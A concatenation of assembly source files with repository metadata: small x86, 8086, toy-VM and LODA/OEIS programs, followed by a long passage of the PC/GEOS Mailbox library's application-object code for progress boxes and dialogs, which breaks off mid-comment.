2017-09-10T12:04:49.000Z
|
2020-12-21T15:59:09.000Z
|
lift/x86/testdata/x86_32/fpu/fldln2/fldln2.asm
|
decomp/experimental
|
6d058f5e1da6fc2d0765e348fb861803a319c9fb
|
[
"CC0-1.0"
] | 3
|
2017-06-14T09:52:32.000Z
|
2019-10-13T09:14:26.000Z
|
lift/x86/testdata/x86_32/fpu/fldln2/fldln2.asm
|
decomp/experimental
|
6d058f5e1da6fc2d0765e348fb861803a319c9fb
|
[
"CC0-1.0"
] | 2
|
2018-10-24T18:49:55.000Z
|
2019-05-25T21:15:42.000Z
|
[BITS 32]
global fldln2:function
section .text
; === [ FLDLN2 ] ===============================================================
fldln2:
fldln2
ret
| 12.75
| 80
| 0.379085
|
5a6a25aa7647ce7073e0a5c4412e6b5a22afdd0b
| 77
|
asm
|
Assembly
|
tests/test2.asm
|
JiahaoChenConor/COMP2017-Virtual_Machine
|
cce97bc86f421afd8f067cb2f83951a3afc42687
|
[
"MIT"
] | null | null | null |
tests/test2.asm
|
JiahaoChenConor/COMP2017-Virtual_Machine
|
cce97bc86f421afd8f067cb2f83951a3afc42687
|
[
"MIT"
] | null | null | null |
tests/test2.asm
|
JiahaoChenConor/COMP2017-Virtual_Machine
|
cce97bc86f421afd8f067cb2f83951a3afc42687
|
[
"MIT"
] | null | null | null |
FUNC LABEL 0
MOV REG 0 VAL 3
MOV STK A REG 0
PRINT STK A
RET
| 12.833333
| 19
| 0.571429
|
a64426b548613dcf378632bb425da9b2adb47670
| 126
|
asm
|
Assembly
|
8086/1arith/sub.asm
|
iamvk1437k/mpmc
|
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
|
[
"MIT"
] | 1
|
2022-01-01T11:27:43.000Z
|
2022-01-01T11:27:43.000Z
|
8086/1arith/sub.asm
|
iamvk1437k/mpmc
|
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
|
[
"MIT"
] | null | null | null |
8086/1arith/sub.asm
|
iamvk1437k/mpmc
|
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
|
[
"MIT"
] | null | null | null |
MOV AL,09H ; Load immediate data 09H to register AL
MOV BL,06H ; Load immediate data to register BL
SUB AL, BL ; AL=AL-BL
| 42
| 53
| 0.714286
|
1c973dacee33e3fa5398b4df776b6d9ec7204a16
| 443
|
asm
|
Assembly
|
programs/oeis/025/A025839.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/025/A025839.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/025/A025839.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A025839: Expansion of 1/((1-x^3)(1-x^5)(1-x^11)).
; 1,0,0,1,0,1,1,0,1,1,1,2,1,1,2,2,2,2,2,2,3,3,3,3,3,4,4,4,4,4,5,5,5,6,5,6,7,6,7,7,7,8,8,8,9,9,9,10,10,10,11,11,11,12,12,13,13,13,14,14,15,15,15,16,16,17,18,17,18,19
mov $3,2
mov $5,$0
lpb $3
sub $3,1
add $0,$3
sub $0,1
mov $2,$3
mov $4,$0
max $4,0
seq $4,29043 ; Expansion of 1/((1-x)(1-x^3)(1-x^5)(1-x^11)).
mul $2,$4
add $1,$2
lpe
min $5,1
mul $5,$4
sub $1,$5
mov $0,$1
| 21.095238
| 164
| 0.523702
|
092ecc2db054f0555aec4cccd043764e541269b5
| 147,313
|
asm
|
Assembly
|
Library/Mailbox/UI/uiApplication.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Mailbox/UI/uiApplication.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Mailbox/UI/uiApplication.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1994 -- All Rights Reserved
PROJECT: Clavin
MODULE: MailboxApplicationClass
FILE: uiApplication.asm
AUTHOR: Adam de Boor, Apr 25, 1994
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 4/25/94 Initial revision
DESCRIPTION:
Implementation of the MailboxApplicationClass
$Id: uiApplication.asm,v 1.1 97/04/05 01:19:16 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MailboxClassStructures segment resource
MailboxApplicationClass ; declare class record
ife _CONTROL_PANELS
method OutboxDisplayOutboxPanel, MailboxApplicationClass,
MSG_MA_DISPLAY_OUTBOX_PANEL
endif
MailboxClassStructures ends
MBAppCode segment resource
MBAppCodeDerefGen proc near
mov di, ds:[si]
add di, ds:[di].Gen_offset
ret
MBAppCodeDerefGen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaAttach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set uiDisplayType as soon as it's available
CALLED BY: MSG_META_ATTACH
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
^hdx = AppLaunchBlock
bp = extra state block
RETURN: nothing (launch & state blocks not freed)
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaAttach method dynamic MailboxApplicationClass, MSG_META_ATTACH
.enter
mov di, offset MailboxApplicationClass
call ObjCallSuperNoLock
;
; Now we're attached, we can safely get the DisplayType for others to
; use.
;
mov ax, MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME
call ObjCallInstanceNoLock
segmov es, dgroup, di
mov es:[uiDisplayType], ah
;
; Add ourselves to the shutdown-control list so we can warn the user
; if anything's being transmitted when s/he tries to shut down.
;
mov cx, ds:[LMBH_handle]
mov dx, si
mov bx, MANUFACTURER_ID_GEOWORKS
mov ax, GCNSLT_SHUTDOWN_CONTROL
call GCNListAdd
;
; Start up the next-event timer.
;
mov ax, MSG_MA_RECALC_NEXT_EVENT_TIMER
call ObjCallInstanceNoLock
.leave
ret
MAMetaAttach endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAGenBringToTop
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make sure we're not marked as a full-screenable application
before we allow ourselves to be brought to the top. Being so
marked really confuses things, since we have to be
userInteractable to actually take the focus, but we don't
have anything to take over the screen.
CALLED BY: MSG_GEN_BRING_TO_TOP
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAGenBringToTop method dynamic MailboxApplicationClass, MSG_GEN_BRING_TO_TOP
;
; Clear the GWF_FULL_SCREEN bit so we don't take the full-screen
; exclusive when brought to the top.
;
mov bx, handle 0
call WinGeodeGetFlags
andnf ax, not mask GWF_FULL_SCREEN
call WinGeodeSetFlags
mov ax, MSG_GEN_BRING_TO_TOP
mov di, offset MailboxApplicationClass
GOTO ObjCallSuperNoLock
MAGenBringToTop endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAGetProgressArray
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch the chunk handle of the array holding the progress
boxes of the indicated type
CALLED BY: (INTERNAL)
PASS: ds:di = MailboxApplicationInstance
bp = MPBType
RETURN: *ds:si = chunk array of optrs
bp = offset within MailboxApplicationInstance from
whence the chunk handle came
flags set based on whether SI is zero
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MAGetProgressArray proc near
class MailboxApplicationClass
.enter
CheckHack <MPBT_INBOX eq 0 and MPBType eq 2>
tst bp
mov bp, offset MAI_inPanels.MPBD_progressBoxes
jz havePointer
mov bp, offset MAI_outPanels.MPBD_progressBoxes
havePointer:
mov si, ds:[di+bp]
tst si
.leave
ret
MAGetProgressArray endp
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAAddProgressBox
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Accept and record another progress box as a child of our
application object.
CALLED BY: MSG_MA_ADD_PROGRESS_BOX
PASS: *ds:si = MailboxApplication
ds:di = MailboxApplicationInstance
^lcx:dx = progress box to add
bp = MPBType
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MAAddProgressBox method dynamic MailboxApplicationClass, MSG_MA_ADD_PROGRESS_BOX
Assert optr, cxdx
;
; Fetch the chunk handle of the array that tracks the boxes.
;
mov bx, si ; bx <- app obj, for possibly
; storing handle & for later
; adding of child
call MAGetProgressArray
jnz haveArray
;
; Don't have an array yet, so we need to allocate it.
;
push cx, bx
mov bx, size optr
clr ax, cx ; ax <- no special chunk flags
; cx <- default header size
call ChunkArrayCreate
pop cx, bx ; *ds:bx <- app obj
;
; Store the handle in le instance data
;
mov di, ds:[bx]
add di, ds:[di].MailboxApplication_offset
mov ds:[di+bp], si
haveArray:
;
; Append another entry to the array and stuff the progress box's optr
; into it.
;
call ChunkArrayAppend
movdw ({optr}ds:[di]), cxdx
;
; Add the box as the first child of the application (we assume it wants
; to show up on top...)
;
mov si, bx
mov ax, MSG_GEN_ADD_CHILD
mov bp, CCO_FIRST
call ObjCallInstanceNoLock
;
; Now that it's in, mark it usable.
;
movdw bxsi, cxdx
mov ax, MSG_GEN_SET_USABLE
mov dl, VUM_NOW
mov di, mask MF_CALL or mask MF_FIXUP_DS
GOTO ObjMessage
MAAddProgressBox endm
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAUnhideProgressBoxes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Re-initiate all the boxes we have on record, thus bringing back
any boxes that were hidden by the user.
CALLED BY: MSG_MA_UNHIDE_PROGRESS_BOXES
PASS: *ds:si = MailboxApplication
ds:di = MailboxApplicationInstance
bp = MPBType
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: MSG_GEN_INTERACTION_INITIATE is sent to all progress boxes
recorded in the progress box array for the type
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MAUnhideProgressBoxes method dynamic MailboxApplicationClass,
MSG_MA_UNHIDE_PROGRESS_BOXES
.enter
mov bx, offset MAUnhideProgressBoxesCallback
call MAEnumProgressBoxes
.leave
ret
MAUnhideProgressBoxes endm
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAEnumProgressBoxes
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call a callback routine for each existing progress box
CALLED BY: (INTERNAL) MAUnhideProgressBoxes, MAMetaDetach
PASS: *ds:si = MailboxApplication object
cx, dx = data for callback
cs:bx = callback routine (far)
bp = MPBType indicating which list to enum
RETURN: carry set if callback returned carry set
DESTROYED: bx, di
SIDE EFFECTS: none here
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/ 9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MAEnumProgressBoxes proc near
uses si
class MailboxApplicationClass
.enter
DerefDI MailboxApplication
call MAGetProgressArray
jz done
mov di, bx
mov bx, cs
call ChunkArrayEnum
done:
.leave
ret
MAEnumProgressBoxes endp
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAUnhideProgressBoxesCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send MSG_GEN_INTERACTION_INITIATE to the current progress box
CALLED BY: (INTERNAL) MAUnhideProgressBoxes
PASS: ds:di = optr of progress box to re-initiate
RETURN: carry set to stop enumerating
DESTROYED: bx, si, di allowed
ax
SIDE EFFECTS: object block holding the array might conceivably move...
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MAUnhideProgressBoxesCallback proc far
.enter
movdw bxsi, ({optr}ds:[di])
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_FIXUP_DS
call ObjMessage
clc
.leave
ret
MAUnhideProgressBoxesCallback endp
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAGenRemoveChild
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Intercept routine to clean up our own data structures when
a progress box or control panel is about to be removed.
CALLED BY: MSG_GEN_REMOVE_CHILD
PASS: *ds:si = MailboxApplication
ds:di = MailboxApplicationInstance
^lcx:dx = child to remove
RETURN: nothing
DESTROYED: ax, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAGenRemoveChild method dynamic MailboxApplicationClass, MSG_GEN_REMOVE_CHILD
uses ax, bp
.enter
if MAILBOX_PERSISTENT_PROGRESS_BOXES
;
; First see if it's a progress box.
;
mov bp, MPBT_INBOX
mov bx, offset MAGenRemoveChildCallback
call MAEnumProgressBoxes
jc passItOn ; => found the kid (and removed
; it from the array in the
; callback), so we can let our
; superclass do the rest
mov bp, MPBT_OUTBOX
mov bx, offset MAGenRemoveChildCallback
call MAEnumProgressBoxes
jc passItOn
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
if _CONTROL_PANELS
if MAILBOX_PERSISTENT_PROGRESS_BOXES
; we need to re-deref di
DerefDI MailboxApplication
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
;
; Look for the child in the outbox panels list.
;
lea bx, ds:[di].MAI_outPanels.MPBD_panels-offset MADP_next
call MAGenRemoveChildCheckPanels
jc passItOn
;
; Not there. Try the inbox panels list.
;
lea bx, ds:[di].MAI_inPanels.MPBD_panels-offset MADP_next
call MAGenRemoveChildCheckPanels
jc passItOn
endif ; _CONTROL_PANELS
;
; Still not there. Try the confirmation box array.
;
mov bx, offset MARemoveConfirmBoxCallback
call MAEnumConfirmBoxes
;
; Mighta been dere, but we don't much care: we've cleaned up what we
; needed to, regardless of what checkPanels returned.
;
passItOn::
.leave
mov di, offset MailboxApplicationClass
GOTO ObjCallSuperNoLock
MAGenRemoveChild endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAGenRemoveChildCheckPanels
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if a child is in the list of panels for the inbox or
outbox (we check only one list here...) and remove its
entry if so.
CALLED BY:
PASS: ds:bx = head pointer (this is a bit funky, as it points into
the MailboxPanelBoxData as if it were a
MailboxAppDisplayPanel, lining up the MPBD_panels
field with the MADP_next field).
^lcx:dx = child being removed
RETURN: carry set if panel actually found and removed:
di = destroyed
carry clear if child not a panel in this list:
di = preserved
DESTROYED: ax, bx
SIDE EFFECTS: panel chunk freed if found
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MAGenRemoveChildCheckPanels proc near
class MailboxApplicationClass
uses si
.enter
mov ax, bx
checkPanelsLoop:
;
; Get the next panel to check.
;
mov si, ds:[bx].MADP_next
tst_clc si
jz done ; => hit end of list w/o finding
; the object
;
; Deref the MailboxAppDisplayPanel chunk and see if the child is this
; panel.
;
mov si, ds:[si]
cmpdw ds:[si].MADP_panel, cxdx
je nukePanel
;
; It's not, point ds:bx to the dereferenced panel data and loop to
; check the next one.
;
mov bx, si
jmp checkPanelsLoop
nukePanel:
;
; Unlink the found chunk from the list.
;
mov_tr di, ax ; ds:di <- head pointer, for
; clearing MPBD_system
mov ax, ds:[si].MADP_next
xchg ds:[bx].MADP_next, ax ; point prev around the panel
; that's being removed,
; getting back the handle
; of said panel
;
; If this is the system panel, clear that pointer, please. (Recall
; that ds:di is the base of the MailboxPanelBoxData structure plus
; the difference between the MPBD_panels and MADP_next fields, as
; was added to get a pointer that pretended to be a MailboxAppDisplay-
; Panel for the loop.)
;
sub di, offset MPBD_panels - offset MADP_next
cmp ds:[di].MPBD_system, ax
jne freeIt
mov ds:[di].MPBD_system, 0
freeIt:
call LMemFree
stc
done:
.leave
ret
MAGenRemoveChildCheckPanels endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAGenRemoveChildCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback to see if a child that's being removed is a progress
box and delete it from the array if so.
CALLED BY: (INTERNAL) MAGenRemoveChild via ChunkArrayEnum
PASS: *ds:si = progress box array
ds:di = current entry to check
^lcx:dx = child being removed
RETURN: carry set to stop enumerating (found progress box)
carry clear to keep searching
DESTROYED: nothing
SIDE EFFECTS: entry may be deleted (will be if found)
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if MAILBOX_PERSISTENT_PROGRESS_BOXES
MAGenRemoveChildCallback proc far
.enter
cmpdw ({optr}ds:[di]), cxdx
clc
jne done
call ChunkArrayDelete
stc
done:
.leave
ret
MAGenRemoveChildCallback endp
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MARemoveConfirmBoxCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback to remove an elememt for this confirm box from the
array.
CALLED BY: (INTERNAL) MAGenRemoveChild via MAEnumConfirmBoxes
PASS: ds:di = MAConfirmBoxData
^lcx:dx = child being removed
RETURN: carry clear to keep searching (no match)
carry set to stop (match)
array element deleted
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MARemoveConfirmBoxCallback proc far
Assert objectOD, ds:[di].MACBD_dialog, GenInteractionClass, FIXUP
cmpdw cxdx, ds:[di].MACBD_dialog
clc
jne done
call ChunkArrayDelete
stc
done:
ret
MARemoveConfirmBoxCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADestroyDialog
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Nuke the dialog and duplicated block contained in the same
block as the trigger that sent this message.
CALLED BY: MSG_MA_DESTROY_DIALOG
PASS: *ds:si = MailboxApplication
^lcx:dx = optr of GenTrigger that's in the same duplicated
block as the dialog that's our child
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: block is freed (after sufficient queue flushing, of course)
and dialog is removed as a child
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADestroyDialog method dynamic MailboxApplicationClass, MSG_MA_DESTROY_DIALOG
.enter
;
; First find the child in the same block as the trigger.
;
clr ax
push ax, ax ; start w/first child
mov ax, offset GI_link
push ax ; offset of LinkPart
mov ax, SEGMENT_CS
push ax
mov ax, offset MADestroyDialogCallback
push ax ; vfptr of callback
mov bx, offset Gen_offset ; bx <- master part
mov di, offset GI_comp ; di <- offset of CompPart
call ObjCompProcessChildren
EC < ERROR_NC DIALOG_NOT_FOUND >
;
; Tell the child to remove itself.
;
; NOTE: UserDestroyDialog is not really an option here, unless you
; change this code to do what MSG_GEN_REMOVE_CHILD does in cleaning up
; various references to things that are maintained by the app object.
;
push si
movdw bxsi, cxdx
mov ax, MSG_GEN_REMOVE
mov di, mask MF_CALL or mask MF_FIXUP_DS
mov dl, VUM_NOW
mov bp, mask CCF_MARK_DIRTY
call ObjMessage
;
; Then tell it to destroy the block it's in.
;
mov ax, MSG_META_BLOCK_FREE
mov di, mask MF_FIXUP_DS
call ObjMessage
;
; Make sure nothing in the dialog remains on any of our GCN lists.
;
pop si
mov cx, bx
mov ax, MSG_MA_REMOVE_BLOCK_OBJECTS_FROM_ALL_GCN_LISTS
call ObjCallInstanceNoLock
.leave
ret
MADestroyDialog endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADestroyDialogCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback function to locate a child of the application in
the same block as the trigger that sent the
MSG_MA_DESTROY_DIALOG message.
CALLED BY: (INTERNAL) MADestroyDialog via ObjCompProcessChildren
PASS: *ds:si = child
*es:di = composite
cx = block that holds the trigger and, therefore, the
dialog
RETURN: carry set if child is in the block:
^lcx:dx = optr of the child to be removed & nuked
carry clear if child not in the block
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADestroyDialogCallback proc far
.enter
cmp ds:[LMBH_handle], cx
clc
jne done
mov dx, si
stc
done:
.leave
ret
MADestroyDialogCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MANotifyUnsendable
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Let the user know a particular message cannot be sent
CALLED BY: MSG_MA_NOTIFY_UNSENDABLE
PASS: ss:bp = MANotifyUnsendableArgs
*ds:si = MailboxApplication
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: notification dialog is added to the screen
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ife _QUERY_DELETE_AFTER_PERMANENT_ERROR ; handled by query code if
; unsendable (=> permanent
; error)
MANotifyUnsendable method dynamic MailboxApplicationClass,
MSG_MA_NOTIFY_UNSENDABLE
;
; Make a duplicate of the template resource and add the root as
; our child.
;
push si
mov bx, handle UnsendableRoot
mov si, offset UnsendableRoot
call UtilCreateDialogFixupDS
pop si
;
; Lock the resource down for a while.
;
call ObjSwapLock
push bx
assume ds:UnsendableUI
;
; Tell the glyph to create a moniker for the message, including the
; transport (just in case).
;
movdw cxdx, ss:[bp].MANUA_message
push bp
mov bp, ss:[bp].MANUA_talID
mov ax, MSG_MG_SET_MESSAGE_ALL_VIEW
mov si, offset UnsendableMessage
call ObjCallInstanceNoLock
pop bp
;
; Replace the \1 in the UnsendableText object's text with the reason
; the message cannot be sent.
;
mov si, offset UnsendableText
movdw cxdx, ss:[bp].MANUA_string
call UtilReplaceFirstMarkerInTextChunk
;
; Bring the dialog up on-screen.
;
mov ax, MSG_GEN_INTERACTION_INITIATE
mov si, offset UnsendableRoot
call ObjCallInstanceNoLock
pop bx
call ObjSwapUnlock
ret
MANotifyUnsendable endm
endif ; !_QUERY_DELETE_AFTER_PERMANENT_ERROR
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAOutboxConfirmation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Let the user know the message is in the outbox, but cannot
be sent at this time.
CALLED BY: MSG_MA_OUTBOX_CONFIRMATION
PASS: cxdx = MailboxMessage
bp = talID of message addresses to display
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/24/94 Initial version
AY 1/ 9/95 Changed to use MAInboxOutboxConfirmationCommon
